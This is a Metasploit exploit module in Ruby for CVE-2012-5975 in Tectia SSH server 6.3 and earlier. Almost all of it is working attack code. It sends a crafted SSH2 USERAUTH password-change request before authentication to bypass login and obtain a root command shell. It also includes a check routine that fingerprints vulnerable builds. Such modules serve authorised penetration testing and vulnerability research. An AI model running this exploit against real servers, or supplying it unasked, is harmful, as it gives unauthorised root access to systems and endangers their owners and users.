## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/ssh' require 'net/ssh/command_stream' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Tectia SSH server for Unix-based platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before password authentication, allowing any remote user to bypass the login routine, and then gain access as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'kingcope', #Original 0day 'bperry', 'sinn3r' ], 'References' => [ ['CVE', '2012-5975'], ['EDB', '23082'], ['OSVDB', '88103'], ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ ['Unix-based Tectia SSH 6.3 or prior', {}] ], 'Privileged' => true, 'DisclosureDate' => "Dec 01 2012", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(22), OptString.new('USERNAME', [true, 'The username to login as', 'root']) ], self.class ) register_advanced_options( [ OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def check connect banner = sock.get_once.to_s.strip vprint_status("#{rhost}:#{rport} - Banner: #{banner}") disconnect # Vulnerable version info obtained from CVE version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || '' build = version.split('.')[-1].to_i case version when /^6\.0/ unless (4..14).include?(build) or (17..20).include?(build) return Exploit::CheckCode::Safe end when /^6\.1/ unless (0..9).include?(build) or build == 12 return Exploit::CheckCode::Safe end when /^6\.2/ unless (0..5).include?(build) return Exploit::CheckCode::Safe end when /^6\.3/ unless (0..2).include?(build) return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Safe end # The vulnerable version must use PASSWORD method user = Rex::Text.rand_text_alpha(4) transport, connection = init_ssh(user) return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport) return Exploit::CheckCode::Safe end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def is_passwd_method?(user, transport) # A normal client is expected to send a ssh-userauth packet. # Without it, the module can hang against non-vulnerable SSH servers. transport.send_message(transport.service_request("ssh-userauth")) message = transport.next_message # 6 means SERVICE_ACCEPT if message.type != 6 print_error("Unexpected message: #{message.inspect}") return false end # We send this packet as an attempt to see what auth methods are available. # The only auth method we want is PASSWORD. pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "password" #method name ) pkt.write_bool(true) pkt.write_string("") #Old pass pkt.write_string("") #New pass transport.send_message(pkt) message = transport.next_message # Type 51 means the server is trying to tell us what auth methods are allowed. if message.type == 51 and message.to_s !~ /password/ print_error("#{rhost}:#{rport} - This host does not use password method authentication") return false end return true end # # The following link is useful to understand how to craft the USERAUTH password change # request packet: # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903 # def userauth_passwd_change(user, transport, connection) print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...") pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "password" #method name ) pkt.write_bool(true) pkt.write_string("") #Old pass pkt.write_string("") #New pass transport.send_message(pkt) message = transport.next_message.type print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS transport.send_message(transport.service_request("ssh-userauth")) message = transport.next_message.type if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT shell = Net::SSH::CommandStream.new(connection) connection = nil return shell end end end def init_ssh(user) opts = { :user => user, :port => rport, :verify_host_key => :never } options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts) transport = Net::SSH::Transport::Session.new(rhost, options) connection = Net::SSH::Connection::Session.new(transport, options) return transport, connection end def do_login(user) transport, connection = init_ssh(user) passwd = is_passwd_method?(user, transport) if passwd conn = userauth_passwd_change(user, transport, connection) return conn end end def exploit c = nil begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do c = do_login(datastore['USERNAME']) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return end handler(c.lsock) if c end end